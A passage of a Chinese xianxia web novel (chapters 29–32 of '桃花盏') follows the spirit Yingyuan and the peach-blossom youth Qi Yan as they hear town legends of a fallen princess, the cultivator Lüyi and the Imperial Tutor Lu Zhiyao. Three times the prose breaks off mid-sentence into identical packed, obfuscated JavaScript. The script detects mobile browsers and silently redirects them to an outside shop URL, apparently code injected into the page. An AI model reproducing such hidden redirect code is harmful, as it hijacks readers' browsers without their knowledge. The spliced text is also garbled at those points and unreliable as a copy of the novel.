她睁开眼,好奇地望向那些托举住她的桃花瓣。便在这一片桃花香中,一个粉衫男孩逐波踏水而来。 他从湖上而来,足尖轻点水面,勾起层层涟漪。自他经行处,有桃花在水面漂浮,随着涟漪荡漾。他与那些桃花瓣一起,就这样荡漾到了婴垣的眼里去。 “你是何人?”见男孩直直地朝自己而来,婴垣有些警惕,却又忍不住好奇,所以并没有跑开。 “我已经观察你很久了。”男孩抿着双唇笑。 青鸾就在不远处看着这一幕,她想,他笑起来可真是好看呀,就像那些随他而来的桃花一样灿烂。 想来婴垣也是如此觉得的吧,她望着男孩,不自觉也笑了起来,“你观察我做什么?” “第一次在湖边看见你时,我吓了一跳。怎会有人将这么多的银针扎在自己身上呢?难道不疼吗?”那男孩很是自来熟,他靠近婴垣,抬手拂去落在她肩膀上的花瓣,举手投足之间,仿佛他们已认识很久,十分亲密了,“后来我发现,你似乎是在治病。于是我就开始观察你。每月你至少有二十日要来这湖边扎银针,而且一扎就是好几个时辰,我觉得我还挺佩服你的。换作是我,我可受不了。” 他很诚恳地向婴垣表示自己的敬佩之意,说着说着,发现她头顶上还落了一片花瓣,轻轻啊了一声,“怎么头上还有?对不住。”他又往前靠近了一步,抬起手便伸向婴垣头顶,将那片花瓣从婴垣头顶拂落,“不过,说真的,那么多针扎在你身上,我看着都疼。你会疼么?” 他专注地替婴垣拂落花瓣,也就没有注意到,婴垣微微侧过头,逐渐红了的脸颊。 半透明丝线所编织的时间长河还在缓缓流淌,它们环绕着婴垣与那粉衫男孩,似是有些留恋驻足,不舍离去。 想来那男孩便是婴垣拼死也要从羭次山神手上救下的桃花枝吧。而他们的初次相遇,便是在这夕阳西下,波光粼粼的湖畔。婴垣从此记住了她与他的每一次相处与对话,便是这一些不忍遗忘的记忆,织就了这一方幻境,引来旧时光驻足。 她永远记住了他,从他们第一次相遇时,他专注地为她拂去头上落花。那也是第一次有人问她会不会疼,是她第一次看到落英缤纷,第一次看见,那样好看的人。 29. 桃花盏 “我叫祁颜。你呢?” “我……我唤婴垣。” 婴垣早已习惯了独处,并不曾交过什么朋友。她一日里绝大多数时间都独自在湖边行针灸之术,自然也不曾去过什么地方游玩。 因此对于祁颜的主动接近,她最开始是极为防备的。 只是再如何戒备,也架不住他每日都锲而不舍地跑来寻她。 有时他会从对岸的桃花林摘一枝桃花来送给她,有时会从几座山之外的集市寻一些糕点带给她,更多的时候,他会在婴垣针灸之时默默坐在一旁为她护法。 时光匆匆流逝,如此过了几个月。终于有一日,婴垣不再拒绝他从人间集市带回来的新奇糕点,接过来咬了一口,问他:“你为何每日都来寻我?除了对我的针灸之术感到好奇之外。” 祁颜闻言,认真地想了想,然后一改平日里玩世不恭的态度,郑重地回答她:“因我从第一次见到你,便觉得你身上的气息有些熟悉。就好像……好像我们早已认识了一样。” 青鸾在时空之外旁观婴垣与祁颜的这一段过往,听到他这样说,忍不住转过头对小蓝感慨:“看来这便是他们两个的缘分了。”沉吟了一下,她依据多年看话本子得来的经验,补充了一句:“说不定是什么前世今生的纠葛。” 小蓝却是听得虎躯一震,忍不住连翻了好几个白眼。 这样老掉牙的说辞,也就唬一唬青鸾和婴垣这样涉世未深的小孩儿了。 果然,婴垣显是被祁颜的回复唬住了。只见她微微张了张嘴,然后别过头去,不置可否地回了一句:“是吗。” 祁颜笑得灿烂,如春风拂面:“是呀,我一见你便觉得亲切。” 自此,婴垣算是彻底放下了心防。她不再拒绝祁颜的示好,每日都会匀出一点时间,与他坐在湖边谈天说地。甚至偶尔她还会主动提出要求,让祁颜带她去周边的城镇逛一逛,去见一见她以前从未感受过的人间烟火。 他们最常去的人间小镇名为古水镇。之所以常去,乃因此镇距离他们所居之地最近,且为方圆几百里最为繁华的小镇。镇上珍奇之物众多,各色吃食也颇为可口,其中有一种名为公主酿的桃花酒,最得二人欢心。 每至桃花盛开的时节,祁颜必带婴垣去镇上饮酒。 如此过了几载,春日时节往古水镇饮桃花酒,已然成为二人心照不宣的惯例。 这年春日,祁颜如往常一般带着婴垣前往古水镇,两人刚临窗坐下,便闻酒楼里传来一阵骚动。 有人扯着嗓门高声道:“什么?今年的公主祭绿蚁大人将会亲临?你可不是在诓我们吧!” 另有人附和道:“就是就是,绿蚁大人可已有好几十年不曾亲临了,上一次亲临,可还是在我太奶那个时候!” 不过话虽如此说,众人的脚步却也没有慢着,纷纷结了账往酒楼外跑,朝一条街外的绿蚁庙涌去。 “我告诉你们,今年乃是那位古国公主逝世三百年整,绿蚁大人肯定会亲临祭祀的!” “你们没感觉今晚镇中灵气格外充沛吗?绿蚁大人肯定会到,你们别不信。唉哟,你别踩我脚啊你……” 祁颜二人听得云里雾里,转首朝窗外望去,果见街上人头攒动,上街的人比平常多了一倍不止。 祁颜知晓镇中有一个绿蚁庙。此庙乃护镇神庙,庙中供奉着的那位大人名唤绿蚁,相传是一位即将化神的凡间修士。 凡人修仙不易,各族生灵中排在最末等的便是人族,同时他们也是各路山神最易忽略的一族。山神虽有护佑一方之责,但这责任可大也可小,倘若遇上不那么负责任的山神,他们往往是不会搭理人族死活的。 可惜的是,不那么负责任的山神占了山神中的大多数,偶尔会对凡人产生怜悯之心的山神则少之又少。 正因人族于百族之中最为孱弱,却又不受山神庇佑,所以大多数有机缘踏上修炼之路的人族修士,在有所成就之后,都会返回祖地庇护族人。 而那些受凡间修士所庇护的人族之地,烟火不衰供奉着的便是修士庙,而非山神庙。 古水镇中的这座绿蚁庙便是一座修士庙,并且这位修士在凡间可谓大名鼎鼎。只因她实力强悍,听闻早已摸到了化神之境的门槛。她这几十年蛰伏未出,也不知是否已经突破到了化神境。 这便也是古水镇虽为一偏远小镇,不依附于任何一国,却极尽繁荣,各路修士往来不绝的最主要原因了。 有这样一位厉害的修士庇佑,古水镇可谓是除却慕容氏族的华胥国之外,凡间最为安全的所在了。 “公主祭是什么?绿蚁大人又是谁?”婴垣久不出山,这还是她第一次在镇上听到凡间传闻,于是好奇地问祁颜。 祁颜虽说比她见多识广,时不时地往镇上跑,但他化形也不过区区十来年,按照路人所言,那位传说中的绿蚁大人可已经有好几十年不曾涉足古水镇了,至于公主祭所祭奠的那位古国公主,可已经逝世足足三百年,他自然是什么也不知晓的。 于是祁颜抓住店中小二,往他手里塞了一锭银子,问他:“公主祭是什么?绿蚁大人又是谁?” 小二冷不丁被塞了一锭银子,愣了一下才反应过来。反应过来后他打量了祁颜与婴垣一番,见他二人就差把外乡人三个字写在脸上了,笑嘻嘻将银子往怀里一揣,打开了话匣子。 “二位有所不知,我们这古水镇原先并不叫古水镇,不过是几百年前古水国的一个偏远小镇罢了。” “三百年前,有敌国攻打古水国,将古水国的领土一路从东边儿蚕食到了西边儿。攻打到皇都时,那位亡国之君携古水国所有皇室成员立于城墙之外,一道降了。” 那小二颇有些讲话本的天赋,将三百年前的往事娓娓道来,说得有声有色。婴垣显然听入了迷,不自觉坐直了身子,睁大了眼睛认认真真地听。 “谁也没有料到,唯一一个不愿降的,是一位公主。传言她早在敌国攻打至皇都之前,便易容逃了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712381|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出去。有人说她是携了古水国秘宝,欲以此秘宝为筹码,说服西境之国出兵援助,助她击退敌军的。也有人说她是欲往西方昆仑之境,去求当时尚为古水国护国修士的绿蚁大人相助的。” “总之这位公主一路奔逃,竟真让她从古水皇都逃到了这里来。此镇即为古水国边境,离开此镇,她便离开了古水国土,可以暂时摆脱追杀她的敌国势力,真正踏上求援之路了。” 听到这里,祁颜二人均皱起了眉头。 想来那位公主未能离开古水国便已身殒,自然也没能为自己的国家求来援军。否则那古水国也就不会在三百年前灭国,今日也不会有这个公主祭了。 果然,但见小二叹了口气,颇为惋惜的样子: “公主在镇上略歇了歇脚,天不亮便继续赶路,可惜最终还是在镇子西边的桃花林里被敌军追上了。唉,这被敌军追上,自然便是死路一条,也不知她在面对那群穷凶极恶的追兵时,是否可曾恐惧?可曾求饶?” “要我说那敌军实在是太过残忍,传闻公主血溅桃花林,那可是尸骨无存呐。如今咱们公主祭所祭奠的,不过是公主的衣冠冢。而公主殒命的那片桃林,自此以后开的花儿都比寻常桃花更鲜红艳丽些,传闻那便是染上了公主之血的缘故。也正因此,那片桃林如今被我们称作公主冢。” 婴垣下意识望向祁颜,用眼神向他询问:你所来自的那片桃花林,便是公主冢吧? 祁颜读懂了她眼神中的疑问,不动声色地点了点头。 那小二则似是思及敌军的残忍,咂咂嘴,又叹了口气。 “其实古水国君主连同整个王室都不是一般的窝囊,显然是气运已尽。若敌军不杀公主,留她一命,将她圈禁起来也就罢了,想来也碍不着他们什么事。何必非要赶尽杀绝呢?他们将事做绝,也就怪不得绿蚁大人闻讯之后万里奔袭而来,与那敌国护国修士大战三百回合,最后一剑斩了敌国百年国运。” 婴垣听到此处,不由怀疑小二夸大其词,“一剑斩国运?” 什么样的修士可以一剑斩了一国气运?何况还只是个凡人修士。 店小二敛了声音,神秘兮兮地左右张望了一番,然后一边弯腰一边抬手掩住嘴,小声道:“传闻那所谓的一剑斩国运,其实是一种诅咒。”说着,他又向四周张望了一下,将声音压得更低:“自然,诅咒之术乃是禁术,且无一不是极为恶毒有伤天和的咒术,一旦用了,必会因果缠身。如绿蚁大人这样的人物,定是不屑用的。但是……” 说到这里,他的声音已几不可闻,祁颜与婴垣不得不凑过去听。 “但是,相传那敌国自此一役后,皇室成员便接二连三地去世,活下来的皇室后裔一代不如一代,不仅渐渐失去了修行的能力,寿命也变得极短。大多……大多不过二十来岁,便会因恶疾或意外而离世。如此不过几十载,一国就此覆灭。且因皇室太过孱弱,关于此国的历史,竟未留下只字片语。您二位说,这不是诅咒是什么?” 30. 桃花盏 祁颜与婴垣对望了一眼,皆在心中感慨,不管那位绿蚁大人是否行了诅咒之术,这般报复也实在称得上狠绝了。 婴垣好奇地继续追问:“如此听来,绿蚁大人身为古水国护国修士,对故土是很有感情的,否则也不会宁愿背负这么大的因果,也要为国复仇了。只是既然如此,为何敌国来犯之时,她并不在古水国中呢?” 小二闻言挺直身子,摆摆手,一脸讳莫如深的样子,“这……这可不敢乱说呀,这是绿蚁大人一生之痛,我们镇上的人都不敢议论此事呢。” 婴垣张了张嘴,有些失望地哦了一声。 祁颜看了她一眼,随后又将一锭银子塞到小二手里,“今日听了许多从前不曾听过的传闻,劳烦再简单讲讲,我们实在好奇。” 小二果断将银子收进怀里,再次神秘兮兮地弯下腰,凑在二人耳边悄声道:“传闻当时绿蚁大人正在西方昆仑之境闭关修炼呢。” 说完这句悄悄话,他笑嘻嘻望着婴垣,转为正常音量:“不过姑娘会如此问,想必是知晓这天下的护国修士主要分为两类,一类是在外修行有所成就后返回故土的修士,另一类则是被请来护国的外域修士。这第二类修士往往会从其守护的国家获得巨大好处,却也注定不会像守护自己的故土一般拼命,更别说愿意背负大因果为国复仇了。所以姑娘认为,绿蚁大人原本便是古水国人,对吧?” 别说婴垣二人听这一段古国往事听得入了迷,在这一片时空幻境里旁听的青鸾也同样听得津津有味。该说不说,这小二实在是有说书的天赋,还知道与听众互动,吊人胃口呢。 祁颜很是配合,及时回了一句:“难道不是?” “其实不是。”看二人被自己吊足了胃口,小二显然很是得意,继续道:“绿蚁大人并非古水国人,至于她到底来自何处,并不可考。不过,有别于其他外域修士的是,绿蚁大人并非为了钱财或是秘宝才愿意做古水国护国修士的。” 婴垣也及时捧场:“那是为了什么?” “为了报恩!”小二愈说愈起劲,干脆扯了把椅子过来,坐下将那一段往事娓娓道来:“传闻绿蚁大人初来古水国时,那可是伤得不轻,简直去了大半条命,途经京郊时,被古水国公主捡了回去。” “本来呢,宫里一众医官替绿蚁大人诊治后,都说无力回天,说此人无论如何也救不回来了。可公主偏不肯信,竟然拿出古水国圣药为其医治。” “那圣药可是古水国镇国之宝,传闻一百年才开一次花,那花儿可以入药,有生死人肉白骨之效。绿蚁大人服了圣药,就此慢慢好转,痊愈之后便留了下来,成为了古水国的护国修士。” 听完这一段过往,祁颜二人均陷入了沉默之中。半晌,婴垣才从这故事里回过神来,点点头道:“如此说来,公主对绿蚁大人有救命之恩,那她后来为公主复仇也属义士之举。只是,初次见面,公主为何就愿意拿出镇国圣药为绿蚁大人医治呢?” “这我就真不知道了。”小二挠挠脑袋,见祁颜意味深长地望着自己,连忙站起身来使劲摇头,表示自己是真不知道,并非故意卖关子多要钱财,“我这是在酒楼里做活计,遇见过形形色色的人,听不同的人讲过不同的传闻,最后自己总结来的。您二位若是想了解得更多,不妨去街上庙会瞧瞧。” 说着,他将手向窗外一指,“今儿是公主祭,这街上的灯火可是会一直亮到天明,再加上今年是公主逝世的第三百年,绿蚁大人是一定会来的,外头就更热闹了。” “多谢。”祁颜起身,似乎是还沉浸在小二方才的叙述中,默了一默,才道:“不知那位公主的名讳是否还流于世间?” 小二立马回道:“这个自然。庆安公主宫北乐。” 庆安公主宫北乐。 没有想到,三百年过去了,当初灭了古水国的敌国连只字片语也不曾流传于世间,而这一位亡国公主,平民们竟还记得她的名讳甚至封号。 祁颜再次道了声谢,领着婴垣离开酒楼,踏入了街上车水马龙的繁华中。 这是婴垣第一次参加凡间盛会,且还如此热闹,她与祁颜并肩走在人群之中,几乎一步一停,总忍不住向路边的摊贩张望。 祁颜看见她这副好奇的模样,笑着拍了拍她的脑袋,“方才那小二说了,今晚街上的灯火会一直亮到天明,我们还有很多时间,你尽可以一家一家地细看,若有喜欢的东西,我们就买下来。” “真的吗?”婴垣惊喜地望着祁颜,与他对视了一瞬,连忙移开目光,将头扭到一边去。 不知是不是街边灯火太盛,路上行人太多的缘故,婴垣笑着,脸上浮现起微微的红。 她抿抿嘴唇,之后像是鼓足了勇气但又状似随意地拉起祁颜的衣袖,带着他在一个又一个摊贩面前驻足细赏。 凡间售卖的东西倒也可谓奇巧,从胭脂水粉到金银器具,各色货品十分繁多。不过,最吸引婴垣目光的,还是一些贩卖寻常之物的摊贩。 在这琳琅满目的庙会集市上,竟有些人在卖最寻常不过的桌椅碗盏,甚至还有些人将不起眼的路边石子摆在自己的摊位上。 更离谱的是,往往这样的摊贩面前排队的客人是最多的,大家都抢着去买那些毫无价值之物,若有人排了半天的队却没有抢到,还会懊恼地在原地捶胸跺脚。 祁颜心中也升起好奇,正巧他身旁就有一位因没抢到石子正在捶胸顿足的仁兄,静静地等对方发泄完情绪,他上前问道:“不知大家为何都要争抢这一些无用的石子呢?我看它们并非什么法器,就只是路边最寻常的小石子啊?” 这样问多少有一些失礼,但他知道,唯有这样问才能让急于去另一个摊位排队的大哥停下步子为他解惑。 果然,那大哥原本不愿搭理他们,急吼吼地要去下一条街排队,但听他如此问,忍不住停下匆忙的脚步,扯着嗓门道:“什么叫无用的石子?” 吼完这一嗓子他顿了顿,想了一想,自觉那些石子好像确 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712382|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实无用,组织了一会儿语言才继续道:“就算是无用的石子,被帝师路之遥踩过,那也是最珍贵的宝物!” “帝师路之遥?”祁颜与婴垣一齐开口,随后面面相觑。 他们一个化形不久,一个久不出世,因此从未听说过帝师路之遥的名号。 不过可以想见,那路之遥在凡间一定是个大人物,否则不至于他踩过的石子也能成为凡人眼中的奇珍异宝。 时空之外,幻境之中,青鸾也下意识蹙了蹙眉,喃喃地咀嚼着路之遥的名字。 不知为何,她总觉得这个名字有一种陌生的熟悉感,好像曾经无数次唤过似的。 但明明今天是她第一次听到这个名字。 那急着去别的摊位抢石子的大哥见祁颜二人露出疑惑的神色,忍不住又扯着嗓子吼了一句:“你们居然连帝师路之遥都不知道?” 他这一嗓门吼得身边的行人都顿了顿步子,随后大家不约而同将目光投向祁颜与婴垣。 他们的眼神称得上复杂,有震惊,有不解,似乎还有一点小小的鄙夷…… 那大哥显然是第一次遇上连帝师路之遥都没听说过的人,露出痛心疾首的表情,干脆放弃了去另外的摊位买石子儿,站定在祁颜二人跟前,郑重地向他们科普了起来:“帝师路之遥,你们以为是哪一位帝王之师?” 青鸾感慨,难道这整座镇上的人都有说书的天赋?这位大哥一看便是会讲故事的,一上来就卖这样大一个关子。 “那可是九重天上的天君之师!且还不是本届天君,而是上一届只差一点便能划破虚空的天君。”大哥这话分量够重,听得祁颜二人也跟着正了神色,但更令两人震惊的还是大哥后面的话,“你们道帝师路之遥是何方神圣,能有如此成就?他其实是个凡修,从凡人之躯一步步修成了天君之师!” 青鸾同祁颜他们一道张大了嘴。 从凡人之躯修成天君之师,那便不仅仅是飞升化神那般简单了。 凡人修仙之途漫漫,加上末法时代即将来临的传言愈来愈真,强如华胥国慕容一族,即便在举国修仙的氛围下,在凝魄珠的加成中,飞升之人也越来越少。即便飞升,现如今也全都止于最低阶的仙,无一能够摸到化神之境。 而不依靠于宗族门派的散修们,能够飞升的便更加屈指可数,修行难度不是一般的大。 正因如此,那传闻中身为散修却已能摸到化神境门槛的绿蚁大人才被众人这般敬仰。 原以为她已是凡人修士中了不得的大人物了,却没想到还有高手。 能成为天君之师,单单化神是肯定不够的。何况那一位尊路之遥为师的天君,可以说是现世之神最后的光辉。在众人心目当中,现在那些高居于天宫之中的神完全不可与之相比。 毕竟,那一位天君差一点便能够划破虚空,带领各族生灵离开这个灵气愈来愈稀薄的空间。 只可惜,天不假年,最终他没能突破最后一步,带着遗憾羽化了。 31. 桃花盏 无论如何,能被这样传奇的一位人物尊为帝师,路之遥的修为与之相比定然只高不低。 更令人鼓舞的是,路之遥尚未羽化,仍存于世间。虽他已多年隐世不出,人们并不知他如今实力究竟到何境界,是否能够与后神抗衡。但毋庸置疑的是,他一定是现世之神中战力最高的存在了。 而这样厉害的神,在五十年前,曾踏足这片区域。 也就是祁颜他们现在正踩在脚下的这片土地。 “虽不知帝师为何亲临此地,但自此镇边境始,一直往东数十座山脉村镇中的人,无一不受他恩惠。”大哥继续向祁颜二人科普,解释那些不起眼的石子的重要性: “总之,帝师一路走,一路顺手解决了无数邪修。需知那些邪修或乃修士心智不坚走火入魔,或为一开始便踏上了歪门邪道的邪恶修士,他们常常侵扰这一片区域的普通修士和平民,大家闻之色变,不堪其扰。” “帝师一路走一路清理,还为此绕了路,专程去捣毁了邪修的大本营,从此这片区域的人族才真正可以安居乐业。最关键的是,帝师大人一点架子都没有,百姓们沿途请他喝的茶他也喝,请他吃的饭他也吃,他同那些高高在上的神完全不一样。” 大哥说着说着,不由自主露出神往的表情。 婴垣在一旁听着,很快捕捉到了重点:“所以,当年他饮过的茶具,坐过的桌椅,乃至于沿途踩过的小石子,都被人拿来贩卖?” 祁颜也抓到了重点,只不过他抓到的重点令大哥听了吐血:“你说自此镇边境始,一直往东数十座山脉村镇,帝师都曾踏足。那么意思就是,他独独走到古水镇边境就停下了?” 大哥抽了抽嘴角,强忍住抽祁颜那张俊脸一巴掌的冲动,咬牙切齿道:“对,他走到本镇边境就停下了。咱也不知道帝师为什么独独走到这里就停下,但是,他曾在离开之前给本镇布了一道禁制。” 说到这里,他的语气又变得自豪起来:“那可是帝师路之遥亲自布下的护镇禁制呀,这道禁制可为本镇聚拢四散的灵气,还可防那些心怀不轨的人侵扰古水镇。” 怪不得,这样一个不依附于任何一国的偏远小镇能够如此繁荣,原来不单单因为绿蚁守护着此处,还因为连那活在传说中的帝师路之遥也曾为此地布下守护禁制。 可是,为什么呢? 绿蚁的守护乃三百年前庆安公主为此地留下的遗泽,帝师路之遥又为何要为此镇布下禁制呢。 祁颜二人心中甚疑,但估摸眼前的大哥怕是也说不出个缘由来的,便没有开口询问。 大哥此刻满面红光,显然还沉浸在自豪当中。 这也难怪,绿蚁倘若当真摸到了化神境的门槛,只差一个机缘便可化神,那么天上地下她都是叫得上名号的,可以说排得进当今修士的巅峰战力。路之遥就更不必说了,他的实力早已不需要任何人去认可。 如此寻常的一个小镇,居然得到两位如此厉害的大人物庇护。最关键的是,小镇的两位守护神并未羽化,都还存活于世。 当真令人咋舌。 大哥在无法自拔的情绪里沉浸了好一会儿,再开口说的话不禁令人动容:“所以嘛,我们大家都是很感念帝师大人的。但是帝师曾经说过,不允许任何人为他立庙,也不许任何人拜他。我们只好去买些他曾经触碰过的物件儿,放在家里供奉,以表我们的感激之意。” “原来如此。”祁颜点了点头,向那大哥道了声谢,塞给他一些银两。 大哥倒也没有推辞,干干脆脆收了银两,向祁颜二人抱拳告辞,然后转过身脚踩风火轮般飞速离开了。 婴垣望着他的背影,捂嘴笑出声来,“他肯定是去另一条街抢小石子儿去了。” 祁颜也同她一起笑,行走在这人间烟火中,目睹着小镇的安宁,他感到十足的安心。 其实如今的世道并不太平。 自从上一任天君羽化之后,九重天宫的现世之神们便好像陷入了一种内斗的怪圈中。他们似乎并不在意修为的突破,更不在意四海八荒各族的死活。他们最在意的,是谁能够坐上天君之位。 可天君之位恰恰意味着责任,得天君之名,便要行天君之职,如上一任天君那般为各族生灵谋福祉,庇佑天下众生。 因此,天君之位有能力者居之,心怀天下者居之,还有什么可抢的呢? 况且,在祁颜等人的认知当中,坐在天君的位子上,便要劳心劳力以天下为己任,这实在算不得是个美差。为什么一群人为了争这个苦差事,要打得头破血流呢? 以祁颜和婴垣那单纯得不能再单纯的眼光来看,他们实在是不能理解的。 然则天上的神仙打架,地上的凡人遭殃,一同遭殃的还有那些修为低下的小妖精怪。 近几十年不知是什么缘故,四海八荒都不得平静。南至招摇之山,时不时便有地龙翻身,西方昆仑之境,西王母已避世千年,最可怖的还是东部大荒,时常有瘴气弥漫。 按理说大荒之地是不会出现瘴气的,可那不知从何处而来的瘴气已经扎根在了大荒,赶不走驱不散,并且愈演愈烈,大有弥漫整个大荒之意。 好在那些瘴气无毒,只是如黑雾一般笼罩在大荒子民的上空,黑压压地俯瞰着那片土地。令人心中不安,却也只能与之共存。 天灾频发,人祸也不能免。 因九重天上的仙神们斗得不可开交,无暇顾及凡间之事,凡俗事务大多一股脑儿扔给了山神。每位山神手中都有一道天君法旨,因此,他们实际掌管着所辖区域生灵的生杀大权。 若碰上那些不怎么管事的山神还算好的,那些无法踏上修行之路的凡夫和修为低下的精怪们只会受到邪修和凶兽的戕害。若碰上个如羭次山神那般强取豪夺的,对于人族来说,那便是雪上加霜,生路无门了。 若说这些天灾人祸令人生存艰难,但尚且还有生的希望,那么彻底令所有人陷入失去希 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712383|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 望的恐慌当中的,便是四海八荒日渐稀薄的灵气。 无论以何种方式修行,哪怕是那最令人所不耻的邪修,在修炼时都需要灵气。 也就是所谓的炼气入体。 没了灵气,山间精怪也好,人族子弟也罢,哪怕是那些高居九重天上的神仙,都无法继续修炼。人们无法想象,在这样一个危机四伏的时代,没有灵气供人修炼,该是一件多么可怖的事。 因此,现如今的人大有一种今朝有酒今朝醉的心态。只管生时快活,不论死后洪水滔天。 于是强者占据修炼资源,弱者依附于强者听天由命,最终强的愈强,弱的愈弱。四海八荒恃强凌弱之事永不能绝。 也正因如此,此时行于繁华烟火之中的祁颜和婴垣,内心里产生了一种不太真实的幸福感。 走着走着,突然间人群骚动起来,人人都面露喜色,努力地往前面挤。 这条街的尽头便是绿蚁庙,此时人山人海,尤以绿蚁庙周围的人群最为密集。看此情形,应当是他们口中的那位绿蚁大人亲临了。 祁颜用胳膊环住婴垣的肩膀,将她护在自己怀里。可惜人群实在太挤,二人努力了一番发现实在没办法继续前进,只好用神识穿过人群,望向街道尽头的绿蚁庙。 却未想到,绿蚁庙大门紧闭,甚至连门前的烛盏都未点燃。 以神识穿过大门,忽见数不清的桃花瓣扑面而来。那绿蚁庙里,竟种了满院的桃花。 落英缤纷间,隐约可见一道绿色身影坐于树下,背对着大门,正在独自饮酒。 想必那就是绿蚁了,她果然亲临此地。 神识想要再往前探一探,却发现只能停留在门口,无论如何也无法再靠近了。目之所及,皆为朦胧一片。 “这应当也是一种禁制,防人以意识窥探。”祁颜向婴垣解释。 婴垣点点头,将神识收回,“看起来她想要独自祭奠公主,不欲被人打扰。”顿了顿,她有所感怀地道:“虽然只看得到背影,但我感觉她很悲伤。” 那是婴垣从来未曾亲身感受过的悲伤。 神识之海是可以互相影响的,绿蚁的悲伤弥漫在整片桃花林中,几欲凝为实质,婴垣自然会感同身受。便连一向玩世不恭的祁颜都凝了神色,垂了眉眼,静默了半晌,才有些潸然地道:“我们回去吧。” 回去的路上二人一路无话,直到行至古水镇百姓口中的公主冢时,祁颜忽然开口说了一句:“她当时或许感到害怕,但一定不曾求饶。”似乎是叹了口气,他轻轻地道:“她那样的性子。” 婴垣闻言顿住步子,转首望着他。 她知道,他这是行至此处,突然想起了酒楼小二的那一句问话。不知公主在面对那群穷凶极恶的追兵时,是否可曾恐惧?可曾求饶? 虽与庆安公主生活的时代隔了三百载光阴,但她的想法与祁颜一般无二。她同样相信,那位公主或许曾经感到害怕,但一定不曾求饶。 32. 桃花盏 自此以后,婴垣同祁颜走得更近了。从前一直都是祁颜主动来寻她,如今偶尔她也会主动前往公主冢的桃花林找寻祁颜。 有时候是约他去古水镇游玩,更多的时候则是从他那里寻人族时兴的糕点。 眨眼之间,十几载平静的时光倏忽而过。 她不再像与他初识之时那般故作老成,很多时候也会流露出小女儿娇憨的姿态来。在祁颜身边时,她肆意张扬的模样就像春天里在枝头摇摆的花儿。 祁颜待她则一如从前,亲昵,呵护,未曾有一点改变。 说起改变……其实也是有的。他身边不知从何时起多出了一些玩伴,比如在公主冢另一株树上启了灵智的小桃花,还有前不久才刚刚化形的柳精妹妹。 而他待她们,似乎同对待婴垣也是一样的。 同样的亲昵,同样的呵护。 他同样会在她们修炼时安静地坐在一旁为她们护法,同样会在春天来临时带她们去山下的古水镇游玩,想必在桃花盛开的时节,他也会携她们去那个酒楼,对月共饮一盏桃花酒。 有时候婴垣怎么也想不明白,他为何能待所有人都一样好。但转念一想,她很快便会说服自己,正因为他待每一个人都同样的好,方可说明他本身就是一个很好的人。 然而说服自己之后,她心里又会升起莫名的怅然。她不明白这许多的怅然从何而来,思索了许久许久,终于在某一日的午后开了窍。 兴许是因为,她希望他待她的好,与旁人的相比,有那么一点点不同。 可是为何她会如此希望呢? 思及此,心跳骤然加快,她抬手抚了抚自己滚烫的脸颊,决定不再继续思索下去。 继续深究下去的答案,并非现在的她可以面对的。 便在她沉思之际,她的师父白石老人终于结束闭关,急匆匆前来湖边寻她。 刚至湖边,他所见到的便是婴垣愁眉不展独自在湖边踱步的一幕,这小丫头显然是有了心事,一边喃喃自语着,一边还时不时摇头叹气。 他没有打扰她,而是待她平静下来之后,默然望向眼前幽绿的一池湖水之时,方才走上前来唤她一声,“婴垣,这些年不曾懈怠吧?今日可曾针灸?” 冷不防听见师父的声音,婴垣还以为出现了幻觉。她有些茫然地抬起头,迟滞了一会儿才转过身来。 “师父!”这一声师父喊得响亮,可紧接着她的声音便越来越低,听起来有几分心虚,“我……我今日还没有针灸,等一下,等一下我就……” “无妨,无妨。”白石老人摆了摆手,仔仔细细打量着眼前许久未见的徒儿,笑得很是亲切,“为师瞧着,你的先天不足之症已经根治。并且,经过这些年的炼体,如今你的体质比寻常人还要强上百倍,已无须再行针灸之术了。” “真的吗?”婴垣又惊又喜,冲上前攥住白石老人的衣袖,“多谢师父!” 须知婴垣天生带有弱症,且体质极阴,不仅修行无望,连活下去的可能性都非常的低。寻常的一阵风便能吹散她的三魂七魄,日常的一个小病就能要了她的性命。 这样的体质,其实根本活不到现在。好在她有一个孪生姐姐,每日以自身精魂为她续命,更是为了她遍寻天下名医,在婴垣幼年时,将她送到了白石老人处。 在白石老人的调理下,经过几十年的补气炼体,婴垣如今不仅根治了先天的不足之症,甚至练就了比旁人强悍百倍的体质。可谓是意外之喜。 旁观着这一幕的青鸾与小蓝若有所思地对视了一眼。 在羭次山上初见婴垣之时,青鸾还曾纳罕,为何她会拥有如此强悍的肉身。 却没想到竟是这个原因。 想当初青鸾还实实在在地羡慕过,羡慕婴垣仅凭肉身就能隔绝山神之火的部分伤害,整个人便如同一株法力免疫的中阶灵药。当时如何能够料到,幼时的婴垣竟有先天不足之症。 但更令青鸾没有想到的是,婴垣的师父竟然是名震四海八荒的医圣白石老人。 